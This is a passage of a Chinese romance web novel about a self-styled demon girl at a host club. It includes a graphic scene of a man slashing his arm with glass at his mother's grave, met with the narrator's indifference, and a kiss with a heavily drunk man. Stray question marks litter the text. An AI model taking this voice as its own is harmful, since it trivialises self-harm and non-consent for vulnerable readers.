“以前只?会从父亲嘴里听到的词汇出?现在她的嘴里,一句不差地往我胸口扎,打我骂我,我做什?么都不对,做什?么都比不上那个人!” “我真的想知道为?什?么,但她到死的时?候,还抓着我的衣袖,骂我是?个蠢货,骂我的成绩没有全A,质问?我到底有没有在认真学习。” “我哭着问?她爱不爱我。” “她给我一巴掌,让我滚出?去。” “我应该恨她的。”他重复道,喃喃自语,仿佛是?在念咒。 泉卓逸不断抽气,弓起?背,脊背骨头凸起?,有点像电影里被异形寄生的太空人员,浑身颤抖痛苦无比。 他从牙缝中挤出?破碎的话。 “但是?我做不到,我做不到恨她……我什?么也做不到!” 他泪水满脸,像个迷路的孩子,我能感受到痛苦在他体内沸腾,快要达到顶点。 只?要轻轻一戳,就真的会炸掉。 现在应该安慰他吧。 我挠了下脸颊,视线落在墓碑照片上,宽慰道:“你别怕,她已经死了。” 泉卓逸捂着脸,宛如风中的火焰拼命地抖,他喃喃自语许久,莫名笑了起?来,“死了,对,她死了……你知道她最后一句对我说的是?什?么吗?” “呃……”我思考着,迟疑道:“滚?” “她说,以后再也不用见到我了,真是?太好了。” 弓着背的人抬起?头,满脸泪水,极具攻击性的五官此时?显得?可怜无比,像只?落水狗,眼神?迷茫地看着我。 “其实你也是?这么想的吧。” 他恍惚地喊道:“妈妈。” 泉卓逸:“你觉得?我是?不是?也该死啊?” 没等我回答,他抄起?酒瓶哐地砸碎,拿起?玻璃片往手上划,瞬间血液飚出?,溅到墓碑上,哗啦啦往地上流淌。 我愣在原地,正打算抬起?手的时?候,他忽然拉住我的手放在脖子上,痛苦地说:“你杀了我吧,不要再折磨我了!” 我赶忙抽回手,谨记哥哥说过的话,“杀人要坐牢的!” 况且我现在富了,更不能杀人! 泉卓逸跪在我脚边,踉跄地起?身,撑在他母亲的墓碑上,他的另一只?手上还握着玻璃碎片,指尖不停地滴血。 “我搞不懂为?什?么会这样,明明已经选择堕落了,为?什?么会痛苦成这样,如果没有你,会不会就不会这么痛,我为?什?么要腆着脸往你身边凑,我难道很贱吗?我没有尊严吗?” 他几乎吼出?这句话:“我难道真是?你的狗吗?” “你对我就没有一点爱吗?!” 绿色他的眼中在燃烧,被痛苦扭曲成恍惚的、破碎的模样。 我看了眼墓碑上的女人,有些不解:“你在问?我还是?在问?谁?” “……” 他顺着我的视线看向墓碑,哑口无言,渴极了似的,喉结上下起?伏,握着碎片的手又紧了几分。 泉卓逸不是?我的狗。 出?尔反尔、不知满足的恶劣人类和被称为?‘衷心?的象征’的动物扯不上一点关系。 我说过只?要他听我的,我就会满足他。 但他总是?不满足,总是?想要更多。 而他到底想要什?么,他自己都不知道,就这样一味地向我索求。 所?以我讨厌当S。 啪嗒。 指尖的血液滴下,他恍然回神?,瞳孔颤抖地看着我,眼中倒映出?我的身影,像是?害怕般,往后退了一步。 我站着没动,只?是?感慨道:“你真的很爱你自己啊,有这么爱你的人,为?什?么会觉得?爱不够?” 毕竟人不需要爱作为?食物,为?什?么要渴求不停? 泉卓逸脸色苍白,像是?自我厌恶到了极端,默不作声地握着碎片再次划了几下,力道用到极致,割开红色皮肉,几乎露出?白色的骨头,他感觉不到痛似的,眼睛颤抖着,状似疯魔。 我欲言又止,思考着该做点什?么。 不能空手夺白刃,万一误伤到我怎么办?那应该怎么做,要不然一个滑铲过去—— 扑通! 人体砸在地上,发出?沉闷的声响。 我回过神?,发现泉卓逸因为?失血过多,已经失去力气倒在地上,血液在地面上扩散,像是?蜿蜒的河流。 哇。我有点摸不到头脑,拿起?手机拍了张照,然后打了120。 救护车哔哔呜呜赶到后,门口守卫才发现发生了什?么,惊慌失措地在旁边张望,浑身发抖,喃喃自语道要丢工作了。 我跟着医生坐上救护车,她们问?我和泉卓逸的关系,很疑惑到底发生了什?么,但我也是?一头雾水,于是?她们让我打电话给泉卓逸认识的人。 我想了想,先打给了宗朔。 他正在店里,背景响着熟悉音乐声,懒散地说了句喂。 “我在救护车上,泉卓逸……他发疯了。” 电话那边停顿住了。 “他攻击你了?” “不是?。他攻击自己呢。” 宗朔深呼吸,简洁地扔下两个字:“等着。” 电话挂断。 进?入医院,医生护士推着病床飞快跑进?手术室,而我坐在门口,衣服上沾着泉卓逸的血,仍然在思考为?什?么会变成这样。 手机震动,我拿起?一看,是?邛浚发来的消息。 [邛浚(小心?诈骗)]:怎么样啊,他有没有发疯? [世界第一恶魔大人]:发进?医院了 [邛浚(小心?诈骗)]:天呐,他可别死了! [邛浚(小心?诈骗)]:(小熊跳舞.gif) 我放下手机,擦拭衣袖上的血迹,努力回想短视频里的教程,到底用什?么能洗干净血迹。 不一会,走廊响起?急促的、紧凑的脚步声。 宗朔风尘仆仆地抵达,大衣里面还是?完整的工作时?装扮,他喘了两口气,撩开遮挡在眼前的刘海,毫不客气地一屁股在我旁边坐下。 他看了眼手术室的门,视线移向我手里带血的衣角。 他语气平静,带着某种诡异的笃定:“真出?事了吧。” “叫你不要招惹他,偏偏跟他搞什?么跑友,找谁不行非要找他,第一个出?现在你脑子里你就选了吗?也不多想想,你也是?脑子抽了。” 我立刻坐直身体,坚决地说:“不是?。” 宗朔啧了一声,偏头看向我,下垂的眸子裹挟浓重的烦躁,“现在你还想狡辩?” 我真诚地说:“我第一个想到的人是?你来着。”—— 作者有话说:唉呀妈呀,我卡文太厉害了,我想哭!本作者需要读者们的抱抱,我要蜷缩在大家的评论里(哭)(闹)(大叫)(好吧我滚了) 我得修修文了,脑子这个乱 第43章 话脱口?而出。 “……你认真的?” 我歪着头?看他, 疑惑道:“我什么时候骗过你。” 虽然我是贪婪、无耻、毫无道德的恶魔,但我特别诚实,骗人的事要动脑子?,我懒得做, 我只适合做点小偷小摸。 “但你最后?还?是找到他了, 做出最烂的选择。” 宗朔嗤笑一声, 额前垂着几缕头?发,他看向紧闭的手?术室,语气冷淡地?说:“也亏他整出这么多事,闹得要翻天。” 我也盯着门看:“所以?现在怎么办?” “等着呗。” 他懒散地?靠在墙上, 双腿交叉:“等头?上的灯关了,一切都好说。” “灯?”我抬头?看向天花板,灯明晃晃的, “它好像是手?动的吧。” “比喻而已。” 宗朔忍不住叹气,说:“我指的是他的哥。” 他忽然转头?看向我,微微眯了下?眼,正准备启唇说点什么, 连串的脚步声再次响起,急匆匆朝我们走来。 来的是个穿着西装革履、像刚离开加班的男人,戴着无框眼镜,一副电视剧里?精英人士的长?相, 他从我们身?边走过, 先?是和守在门口?的护士说话。 听到什么, 他倒吸一口?凉气, 勉强抬起嘴角掩盖震惊,接着又讲了几句话后?,护士抬手?指向我们, 他了然地?颔首,随后?迈着步子?往我这走。 宗朔向前一步,主动拦住他,两人到旁边交谈。 你来我往几句后?,男人脸色恢复了些,在谈话的间隙里?向我投来目光,最后?勉强点点头?,转身?走向门口?的医生。 等宗朔回?到身?边,我迫不及待地?问:“他是谁啊?” “泉卓逸他哥的助理。” 宗朔:“半夜加班的苦命人,上面说做啥就要做啥。” “你庆幸吧,没?在这种人手?下?工作。” 泉卓逸的哥哥。 听着像是资本主义?地?主。 泉卓逸对这个比他好太多的哥,反应情绪激烈,每当提及对方,他总是会拧着眉头?,语速加快不愿多谈。 我之前还?以?为他哥是柯觅山。 到现在泉卓逸的哥哥也没?出现。 我:“他们关系不好吗?感觉泉卓逸死了葬礼上也不会有几个人。” 不对。 他家有钱,所以?他死了会有很大一笔遗产,人也不会少到哪里?去。 宗朔没?有直接回?答,而是说:“那个家伙虽然不怎么关心他的生活,但死活也是要在意一下?的,好歹也是泉家的血脉,闹出丑闻,名声可不好听。” “可你之前还?觉得他会把?自己玩死。”我说,“他哥不知道吗?” 不仅是他,所有人都觉得他会很早把?自己玩死,所以?他哥哥不知道吗?泉卓逸早就被宣判结局的人。 “知道和行动是两码事。” 宗朔摩挲裤兜,他正对面就是禁止吸烟立牌,他咳嗽两声,转头?对我说:“我要出去,你跟我一起。” 他往外走,我起身?跟上。 手?术室门边的助理回?头?看了我们几眼,表情十分复杂。 出了医院,萦绕在鼻尖的消毒水味消失得干干净净,这家医院和我记忆里?的医院不同,我记忆中医院找不到位置坐,走廊里?挤满等待的人,你一句我一句吵得出奇。 这家医院静谧无声,地?面干净,装修称得上豪华。 医院外有个巨大的花园,到正大门有一段距离,像是公园似的,前面不远处还?有喷泉。 夜幕笼罩大地?,路灯明亮如昼,下?面飞舞着扑棱蛾子?,拼命地?往灯里?挤,很快掉在地?上,挣扎着飞起,歪歪扭扭地?追光。 我新奇地?说:“原来冬天也有飞虫。” 宗朔掏出烟点燃,放在嘴里?抽了一口?,眉头?微蹙,他的目光放在飞蛾上,看着它上下?扑飞。 他有些厌烦,情绪堆积在眉头?里?。 “蠢货和虫子?没?什么两样,脑容量等于零。” 宗朔啧了一声,心情十分不美妙,咬着烟嘴,吐出的不知道是烟还?是雾。 等心情平复,他放下?手?,偏头?问我:“你要是还?打算跟他继续玩游戏,我说过了,他迟早会被你玩死,不是今天,就是明天,他的哥哥可不会束手?旁观。” “但那是泉卓逸自己的问题啊。” 我很无辜,摊开双手?:“他要割手?我也拦不住。” 宗朔再次撩起头?发,拿着烟不动,也不知道是想抽,还?是不想抽,我跟着叹气,扯了下?他的手?臂。 他眯起眼睛,把?烟塞进我摊开的手?里?,另一手?撩起我的衣角,垂头?问:“衣服弄脏了,你不觉得恶心吗。” 像咬着烟头?似的,声音含糊,裹挟淡淡的薄荷气息涌入鼻腔。 “你到底怎么想的,选他当炮友。” 我把?烟放进嘴里?,熟稔地?吸了口?,睨着他说:“你不回我,我依然就去找他了。” 当然,前面还?有个浦真天。 宗朔愣住了,疑惑地?问:“你什么时候找我?” “手?机啊。” 我当场给他翻聊天记录,指着消息骂:“你看,你都不说话!你看,这里?你明确地?拒绝了!” 他嘴角抽了下?,“……旁边那个大一个红色感叹号,你没?看到吗?这App不允许涉黄。” 岂有此理,能骂人不能涉黄?! “我没?收到。” 他啧了下?嘴,凝着我,视线像蛇信子?舔舐着脸颊,“你应该直接问的。” “也不会变成现在这种结局了。” 我抬眼看他,迟疑道:“那你的回?答——” 身?后?传来匆匆的脚步声,原本站在手?术室门口?的助理匆忙地?跑到我们面前,握着手?机正在打电话。 他对手?机另一边频频鞠躬点头?,一脸恭敬。 等到我们面前,他把?手?机递到宗朔面前,礼貌地?说:“抱歉打扰你们,总裁有事找。” 宗朔皱起眉,虽然很不爽,但还?是接过电话,低声说:“什么事。” “……” 他往旁边走了几步。 “……你弟弟自己动的手?,没?人逼他。” “你应该知道他精神有问题,我这也不是保姆店。” 对面说了什么,宗朔骤然笑了起来,语气依旧懒散:“人还?活着,你总不会要因此灭了我们小店吧,天凉王破的架势别往这使,小心我报警抓你。” 天凉王破? 我捕捉到关键词,瞬间警惕,泉卓逸的哥哥竟然是个无法狂徒,想学小说让男公关店破产! 果然他们两兄弟都是疯子?! 宗朔握着手?机,丝毫不退让:“有空你自己找他说去,我可管不了他。” 寂静的夜晚里?,通话声飘进我的耳朵里?,虽然声音失真,但仍然能听到对面说话的音质,冰冷刺骨,带着浓重的高高在上。 “我不会去看他的。” 低沉的男声冷漠地?说:“如果他死了,你也别想好过。” 通话挂断,宗朔额头?蹦起青筋,毫不客气把?电话甩回?给助理,冷笑一声:“回?去告诉你的总裁,泉卓逸死了罪魁祸首是他本人,和别人没?有一毛钱关系。” “要是真像家人,就不会把?亲弟弟送到男公关店里?。” 助理表情为难,频频看向我,似乎想说什么,我移开视线,假装被空气中的虫子?吸引,抬手?挥舞空气。 “……我会转告给泉总。” 助理弯腰鞠躬,开口?道:“医生那边说情况稳定住了,请问两位要去看看吗?” 宗朔没?说话,而是看向我。 “不要。” 我用力摇头?,全身?上下?写着抗拒,“我要回?家睡觉。” 助理礼貌地?笑了下?,“那么我先?回?去了,下?次再见。” 他脚步急匆匆往病房走去。 我忍不住打了个哈欠,跟着宗朔走出医院,门口?立着一个熟悉的身?影,看到我,他急切地?迈着步子?奔了过来。 熟悉的柠檬香覆盖住我。 我埋在哥哥的肩膀里?,忍不住叹了口?气,“工作真是太难了。” 宗朔嗤笑一声,调整手?腕的串珠,视线落在我的身?上,轻描淡写地?移开,看向门口?的出租车:“我先?走了,有些话明天再说。” “……谢谢老板。”哥哥说。 宗朔摆摆手?,朝着出租车走去。 出租车逐渐驶离视野,哥哥拉住我的手?,反复地?搓揉,直到温度和他一致,他才放下?我的手?。 “害怕吗?” 我:“还?好吧。” 不过是自残,我看过的大场面多了去了。 哥哥拉着我坐进另一辆出租车,紧紧靠着我,他才是害怕的那一个,反复试探着我的温度,摸摸我的脸颊、脖颈和耳朵。 他注意到衣角上的血迹,使劲搓揉,但怎么也擦不干净,于是他脱下?外套给我,让我把?衣服换下?,他不打算穿我的,只穿着薄薄的、红绿相间的毛衣,是大学期间买的圣诞款。 圣诞节过去不到两天,还?算应景。 下?了车,他拉着我往回?走,这条路灯下?没?什么飞虫,我想大概是植物?不够多的原因。 “……在听到消息的时候,我以?为是你,差点在店里?栽个跟头?。” 哥哥握着我的手?,呢喃般说:“太好了,不是你。” 我宽慰道:“是泉卓逸啦,该关心的人是他。” “他怎么样和我们没?有关系。” 哥哥唇角拉平,力道加大,紧紧地?攥住我,颇为冷漠地?说:“那是他的错。” “要是他死了怎么办?他哥哥好像很有权势。” 哥哥:“我帮小冬顶罪。” “但是他真的很厉害的样子?诶。” 我忍不住羡慕,为什么泉卓逸什么都有,还?觉得不够,还?不知道自己想要什么,真是人比人啊。 当年要是我也投个好羊水,也不会变成穷酸的恶魔吧。 我的思绪飘飞天际,交握的手?心湿漉漉,于是动了动,想要往外抽出手?。 哥哥瞬间握紧,但很快又松开手?,呼出一口?发颤的气,撩起毛衣给我擦手?。 “不会的,我不会让别人伤害你。” 他盯着我看了许久,忍不住低下?头?,额头?抵着我的额头?,小声地?、急切地?说:“不要离开我……小冬,不要嫌弃我。” 距离很近,到了呼吸交错的地?步,他眨眼时,似乎能感受到睫毛扫过的触感。 几秒后?,他拉开距离,黑沉的眼睛倒映着我。 哥哥的嘴唇颤抖,垂下?眸避开我的视线。 温热的触感落在额头?上,气息烫人,呼吸错乱几分。 “回?家吧。” 他说:“其他的事我来想办法。”—— 作者有话说:我怎么越来越晚了……不可饶恕(求饶恕) 第44章 我做了个梦。 就像无数个梦里, 我回到有?恶魔和天使的世界,在梦里我的体型庞大?,有?一座山、一栋高楼那么?大?, 呼吸导致下雨, 挠痒痒引发地震, 谁也无法忽视我, 所有?生物都得仰望我、躲避我、恐惧着?我投下的视线。 我在天空里自由翱翔,等累了,便找个山头,蜷缩在里面?, 躺得舒舒服服,不再捣乱。 耳朵隐约出?现蚊虫似的声响,我不堪其扰, 睁开眼睛。 泉卓逸出?现在我的视线中。 他像灰尘一样渺小,不知?道为什么?在哭,光哭还不够,他朝我呐喊, 但我什么?也听?不清,因?为他太小了,愈来愈像只蚊子。 哭着?哭着?,他突然拿出?刀, 把肚子剖开, 从肚子一直划到胸膛, 血和器官哗啦啦地往外?流, 他抬头看我,苍白的嘴唇一张一合。 血流干,他倒了下去。 我低下头, 眯起眼睛仔细地看。 泉卓逸仰面?倒在地上,手里举着?还在跳动的心脏。 砰砰砰。 这是个噩梦。 醒来时我真以为他死掉了,幸好宗朔发来消息说他人没事,但失去联系不知?道什么?时候回来,我小小地松了口气,庆幸无比,有?种甩掉口香糖的畅快感。 除了我之外?,邛浚是唯二关心他的人。 关心他到底死没死,在知?道没死后,发来失望的小熊表情,然后继续发他的广告去了。 至于?我们的计划,仍然在筹备中,货物正在路上,再过几天才到。 回到店里,角落里多出?一道黑色的身影,麦景穿着?西装,手指不停调整领带,他盯着?地面?,面?容冷峻,自带高高在上的、瞧不起人的气质。 他只是在走神,毫无知?觉地接受其他男公关的审视。 我刚走近点,他像有?雷达一样盯过来,飞快走来。 哥哥皱着?眉看他,旁边的浦真天也投来好奇的目光。 他在我们面?前?站定,镇定地进?行自我介绍:“你们好,我叫麦景,是小冬的高中同学。” 浦真天大?为震惊,有?些不可置信地问:“你来这上班吗?” 麦景点了点头:“对。” “不行,你才十八、九岁,怎么?能来这?” 浦真天眉头紧蹙,像看叛逆儿童一样看着?他,扯着?他的衣服说教:“你家里人呢,她?们不管你?你太小了,这里不适合你。” “我家里知?道。” 麦景任由他拉着?,表情没有?丝毫波动:“我也是自愿来的。” “你——” 浦真天还想说什么?,但哥哥拉住他,视线扫过麦景的脸,语气冷淡地说:“老板知?道这件事,你也不用多劝了,况且……他也不是你的弟弟。” 浦真天愣了下,表情复杂,摸摸后脑勺说了声好,但目光仍然不赞同地盯着?麦景,试图用眼神劝退对方。 麦景和哥哥四目相对,麦景率先想说什么?,但哥哥转过头,接过我的书包,径直朝角落里的沙发走去。 麦景看着?他的背影,有?些落寞地低下头,转头跟我打招呼,下意识想来牵我的手。 我侧身躲开,视线锁定不远处的宗朔。 这家伙不知?道什么?时候出?现的,躲在旁边偷窥,靠着?墙,不修边幅,正困倦地打哈欠。 我立马跑到他面?前?,急切地问:“昨天晚上的事,那个该死的总裁没有?怀恨在心吧?真让我们天凉王破了怎么?办,我昨天晚上做了个噩梦,可吓人了!” 弱不拉几的泉卓逸一转头就死掉了! “你不用管。” 宗朔抱着?手臂,慢悠悠得移回视线,说:“再不济他只会把火撒在你身上。” 我:“?” 我十分纳闷:“关我什么?事呢?” “你和他走得太近了,要找也先找你呗。” 我愤怒地盯着?他,差点就要扯着?他的领子质问。 “骗你的。”他没忍住嗤笑一声,敛眸看着?我,“泉卓逸没死,他哥就不会做什么?,与其操心这些,不如想想怎么?处理乱七八糟的关系。” 说完,他戳了下我的额头,擦身而过,朝着?麦景的方向走去。 我转过头,此?时宗朔已经走到麦景面?前?,两人正在交谈,宗朔脸色平和,甚至有?些许的愉悦。 我彻底放下心,回到办公室开始打游戏,把泉卓逸抛之脑后,彻底开始放飞自我。 越玩越兴奋,身体内部蹿上一团火,等身上火急火燎的时候,我才意识到哪里不对。 脑中不断闪烁出?梦和记忆的碎片,泉卓逸痛苦的模样在我的大?脑里飘荡,距离上次酒店已经过去几天,我大抵是又发色心了。 下个找谁呢。 我思考着?,忽然想到宗朔错身离开时的那个眼神。 嗯,怪让人心痒的。 然而我出?门却没找到宗朔,麦景正乖巧地坐在沙发里,旁边是新来的客人,一脸感兴趣地找他聊天,他僵硬地回复着?,看着?尤其好笑。 我在一楼绕了一圈,麦景看到我,眼睛微亮,但很快嘴角垂下,不知道为什么像个被遗弃的狗。 在一楼没找到宗朔,于?是我上到二楼,鼻子嗅来嗅去,试图捕捉空气中薄荷的气息,然而还没闻到他的,反而嗅到了熟悉的、过分甜腻的气味。 是泉卓逸的气味。 他才回来就跑去上班了? 我有?点狐疑,又觉得有?可能,因?为他现在疯了,做什么?都有?可能。 我拿起手机给他发消息,上一条还是我拒绝他的要求,让他自己划拉手腕玩的通知?。 [世界第一恶魔大?人]:你回来了? 一分钟后。 [泉卓逸(1.7有?钱有?颜有?技术)]:对 [泉卓逸(1.7有?钱有?颜有?技术)]:很失望吗? 总觉得哪里怪怪的。 [世界第一恶魔大?人]:你看到宗朔没?我在找他 [泉卓逸(1.7有?钱有?颜有?技术)]:我在你眼里真的什么?都不算吗? [世界第一恶魔大?人]:是你先不听?话?的,我不是说了我让你做什么?你就做什么?吗? [世界第一恶魔大?人]:你总是做奇怪的事 很长一段时间过去,我以为他工作不会回我的时候,他回复了。 [泉卓逸(1.7有?钱有?颜有?技术)]:对不起 [泉卓逸(1.7有?钱有?颜有?技术)]:对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起…… 密密麻麻的对不起遮盖住聊天屏幕。 好半天,他才终于?停下。 [泉卓逸(1.7有?钱有?颜有?技术)]:对不起 发完疯也该说正事了。 [世界第一恶魔大?人]:昨天的钱还没转 [泉卓逸](1.7有?钱有?颜有?技术):(转账) [泉卓逸(1.7有?钱有?颜有?技术)]:我不会再做多余的事了 [泉卓逸(1.7有?钱有?颜有?技术)]:我只想留在你身边 [世界第一恶魔大?人]:宗朔在哪? 备注后持续显示输入中。 我无聊地等待着?,乘机刷了几个短视频,几分钟后,泉卓逸终于?回复了。 [泉卓逸(1.7有?钱有?颜有?技术)]:他去205了 205。我抬头,果然看到了在走廊尽头的门牌号。 我缓步来到门口,仍然没有?嗅到薄荷香,反而泄露出?甜腻的气息,我打开门,棉花糖涌向我,房间里热气蒸腾,空气湿漉漉的、裹挟酒气的热意。 沙发上倒着?一个人。 浦真天面?色通红,喝醉酒倒在沙发上颤抖着?,蜜色的皮肤点缀着?汗珠,他听?到脚步声,睁开眼向我看来,生理泪水止不住地流。 “小冬?”他抽了下鼻子,晕乎乎地坐起身,“你怎么?来了。” “泉卓逸不是说——” 他猛地顿住,视线看向我的后方。 我转过头,对上一双绿色的眼睛。 泉卓逸站在门口,手腕上绑着?绷带,脸色苍白,像个溺死的鬼,卫衣胡乱地套在身上,皱皱巴巴的,没有?往日过度繁重的时尚感。 “所以宗朔在哪?”我问。 “为什么?要找他,浦真天明明就在这。” “他。” 泉卓逸咧开个嘲讽的笑,歪了下头:“你不是喜欢他吗?只要他不行吗?很抱歉啊,我哥把宗朔叫走了,我也找不到他。” 浦真天仍然搞不清状况,腿软想要站起来,面?色凝重了些,眉头紧蹙:“泉卓逸,你、你不要胡说八道!” 说完,他慌乱地看向我,眸中闪烁着?光,像是头晕身形不稳,再次倒了回去,胸膛剧烈起伏。 室内温度很高,所以他仍然穿着?单薄,胸前?解开几颗扣子,小麦色肌肤若隐若现。 浦真天抬手遮挡住脸,呼吸不畅,断断续续地说:“小冬……小冬,不要听?他的话?……” 消毒水的气息萦绕在身边,泉卓逸已经来到我身后,身形消瘦,弯着?腰,绑着?绷带的手在发颤。 他握着?我的手,牵引我的手放在浦真天的脸上,病态地笑了一声,艰涩说:“你喜欢他,我再也不说什么?了,你喜欢谁,我再也不争了,你想要什么?我就给你,好不好?” 他的手很冷,但浦真天热得像个火炉。 浦真天剧烈地呼吸着?,手臂无力地垂下,眼睛带着?醉意,呢喃般叫我的名字,神色挣扎,但声音越来越小,仿佛陷入沼泽中。 我的牙根发痒,走神地想为什么?他的身体总能吸引到我。 难道……我从贫胸派变成巨。乳派了?! 耳边传来一声短促的冷笑。 泉卓逸弯下腰,在浦真天耳边说了什么?,后者脸上出?现剧烈地、不可置信的神色。 我:“你跟他说了什么??” 泉卓逸骤然笑了起来,白得像是一张纸,他凑近我的耳边,压抑着?情绪,声线颤抖。 “我告诉他……你最喜欢怎么?舔。” 我哇了一声,评价道:“你真的疯了。” 他沉默地看着?我,扯起嘴角:“你不喜欢吗?” 我看向浦真天,他的瞳孔颤抖,手指紧紧蜷曲在一起,想说什么?,但喉结上下挪动,说不出?一句话?。 “……小冬。” 他的声音和泉卓逸重叠在一起。 “你想要他吗?” 我没有?回答,而是顺从欲望,诚实地捧着?浦真天的脸。 亲下去的瞬间,耳边两道呼吸同时改变。 像是在发烧,浦真天唇齿温度高出?许多,原本打算后退,但在我按住他的时候,他急切地贴了上来。 淡淡的酒味在舌尖上绽开,水声啾啾咕咕响起,他的唇也像棉花糖一样软。 等我尝够棉花糖的味、唇舌分离后,浦真天愈发醉了,头靠在我的脖颈处短促地呼吸,像是昏睡过去般一动不动,腰部的手倒是更紧了。 泉卓逸在我左手边坐下,垂着?头,脸上阴影浓重,同样气息紊乱,无意识攥紧绷带,指尖痛得泛白。 我坐在他们中间,思考这是什么?情况。 “泉卓逸。”我看向左边的人。 他声音颤抖、艰涩地嗯了一声。 “你真听?我的话??” 颤抖不止的人嗤笑一声,偏头看我时眼底晃动着?水光,眼泪一滴一滴流下,眉头皱紧,却又扬起笑。 泉卓逸脸色苍白,几乎是咬牙切齿地说:“对啊,我就是你的狗。” “你是人,哪是什么?狗。” 虽然总是形容他像狗,但我是个客观的恶魔,人就是人,是不能变成狗的。 我想了想,摸索起口袋,掏出?从宗朔那偷来的打火机。 咔嚓。 火苗腾燃亮起,倒映在流泪的眼睛里。 我对泉卓逸说:“生日快乐。” “既然你不喜欢蛋糕,那就直接吹蜡烛吧。” 泉卓逸愣怔地看着?我。 半晌后,他宛如困兽般剧烈地呼吸着?,缠着?绷带的手抓住衣服,紧盯着?我,低头朝火苗吹气。 打火机的火苗很难吹不灭,所以在他吹气的同时,我松开了按压的手。 房间再次回归黑暗,左右两边的人气息紊乱,腰间的手逐渐收紧,浦真天在我耳边含糊地说话?,吻湿漉漉落在脸庞。 手机振动。 在他动作的间隙,我拿出?手机。 [柯觅山(有?钱)]:学妹,还想玩游戏机吗? [柯觅山(有?钱)]:周末我来接你^^ 这位的心情很好啊。 我转头看向泉卓逸,他凝着?我,只是拿起我的手,放在自己头上。 这次他什么?也没说—— 作者有话说:写着写着拙拙逃出医院,浦抢先上桌,不过没事,浦很糯,所以后面还是宗老板主导,拙拙会被抓走(口香糖的使命已完成) 我一定要修文哦,一定哦(发誓) 第45章 肌肉是柔软的, 手指之下触感滚烫,很轻易便能感受到如?擂鼓般加速跳动的心脏。 指尖所到之处引起细小的战栗,耳畔呼吸声急促,鼻息的热气涌进耳廓里。 浦真天总让我想到小黄, 眼睛湿漉漉, 舌头也湿漉漉。 虽然身型高挺, 肌肉结实,却努力蜷缩身体,小心翼翼地靠近,下巴轻轻搁在我的肩膀上, 双臂环绕在腰部,像是缠绕树干粗壮的藤蔓。 他知道自己在做什么吗? 我不知道。 因为我没醉过,所以不懂醉酒到底是什么感觉, 真的会失去意识、做出自己不想做的行?为吗?那岂不是像魔法一样? 反正泉卓逸出门时,浦真天突然惊醒般弹开,然后落荒而逃。 等下班回?家时,哥哥说他醉倒了?, 早早回?卧室睡觉。 但躺下不久后,我收到了?他的消息。 [浦真天]:(视频链接) 我点开一看,开屏文字花里胡哨,bgm不知道在燃什么, 像是某个专门骗老年人的公众号视频。 里面的人痛斥当今年轻人乱搞的银乱行?为, 尤其是某些男性, 一个道德也没有, 对陌生女性出手就算了?,竟然还?喜欢上亲近的妹妹。 白胡子老头一本正经地说说再这样下去社会大乱,迟早会乱。伦, 所以大家应该禁欲,最?后分享了?一款产品,专门治男性欲望过强的病。 我看得一头雾水,回?到聊天界面时才发现他撤回?了?消息。 回?了?个问号,他没有反应,像是死了?一样安静。 第二天,我完全忘记这件事,满心满眼想着玩游戏,体验高端设备。 柯觅山早早发来消息,说会在中?午前?接我,要请我吃饭,时间卡得很巧,我醒来时正好看到他说已经抵达楼下。 我换好衣服下楼,果然看到黑色轿车。 司机下车替我开门,笑容和蔼可亲。 而柯觅山穿着黑色风衣,像是在学校视频看到的那一件,鸦羽般乌黑。 他似乎心情很好,抬头朝我点头打招呼,眼下乌青散去,头发打理?过,深蓝色眸子里熠着光,黑色外?套称得他更白了?,像是被打磨过的宝石。 “上午好。”他嗓音轻快地说,“今天会是个晴天。” 柯觅山的目光落在我身上,饶有兴致地用?手抵着下巴,“学妹,最?近有发生什么有趣的事吗?” 我想了?想,总觉得他意有所指,于是开口道:“你是想说泉卓逸吧。” “你好像很讨厌他。” 柯觅山却显得很疑惑,露出恰到好处的惊讶:“怎么会呢?我认识他这么多年,虽然说不上喜欢,但也不至于讨厌。” 我:“但是每次他有事,你就很高兴诶。” 柯觅山和泉卓逸有仇。 他出现的时间非常巧妙,泉卓逸一出事,他就正好来找我,像是迫不及待想要分享好消息似的,现在也是,嘴角噙着的笑意真心实意,身上散发着淡淡的、愉悦的气息。 泉卓逸很明显地讨厌柯觅山。 虽然听宗朔说,他之前?崇拜过柯觅山,称他为哥哥,但现在恨得真情实感,听到名字眼神瞬间变冷。 “是吗。” 柯觅山仍然笑着,弯了?下眼睛,“我只是每次见到你心情很好而已,和他没有关系。” 他垂下头看平板,一副不受外?界干扰的模样。 我掏出手机开始滴滴另一个讨厌泉卓逸的人。 [世?界第一恶魔大人]:你知道柯觅山吗? [邛浚(小心诈骗)]:知道哦 [邛浚(小心诈骗)]:他不是泉卓逸的表哥嘛 [邛浚(小心诈骗)]:回?国创业大成功的富N代啊,像这种家里有钱的就是好,猪都能创业成功(小熊偷笑.jpg) [世?界第一恶魔大人]:你说他是不是和你一样很讨厌泉卓逸,他还?装呢! [邛浚(小心诈骗)]:哎呀 [邛浚(小心诈骗)]:你认识他? 我往旁边看了?眼,柯觅山正垂着头看平板,腰背挺直,他迅速捕捉到我的视线,薄唇弯起,朝我眨了?下眼睛。 不仅认识,而且现在还?要一起出去玩。 在我心目中?,柯觅山是爱撒币的有钱人,性情变化不定,虽然莫名其妙生气,但面上不会表示,时不时出现,朝我面前?丢下诱饵。 之前?我也想过找他当跑友,不过他是最?后一个选择。 直觉和他上床会很麻烦,比泉卓逸还要麻烦的类型。 所以我们现在是什么关系嘞? 我想了?想,在脑袋里捕捉到一个闪过的词汇。 [世?界第一恶魔大人]:我是他的陪玩搭子 [世?界第一恶魔大人]:嗯对 [邛浚(小心诈骗)]:那你小心咯,他很毒的,不像我是个天然无害的陪聊搭子(小熊跳舞.gif) [邛浚(小心诈骗)]:他比泉卓逸有钱,但是有点脑子,要骗钱可不简单 [邛浚(小心诈骗)]:如?果有新?的商业idea,我可以帮你哦 确实。 我又撇了?眼柯觅山,此人花钱扣扣搜搜,钱不像泉卓逸那么好骗。 柯觅山:“怎么了??” 我摇摇头,发现脑子里蹦出好几个奇葩想法,不知何时被邛浚荼毒,总是想着创业。 手机震动。 邛浚按照惯例发来一张自拍,在某个办公室里,背后满是各种专业证书?,他伸手比耶,旁边有个表情呆滞、没反应过来的工作人员。 大概是送外?卖吓到人了?。 窗外?的景色从高楼大厦过渡成自然风光,像是驶入郊区别?墅群,附近的建筑低矮奢华,和上次的路线截然不同。 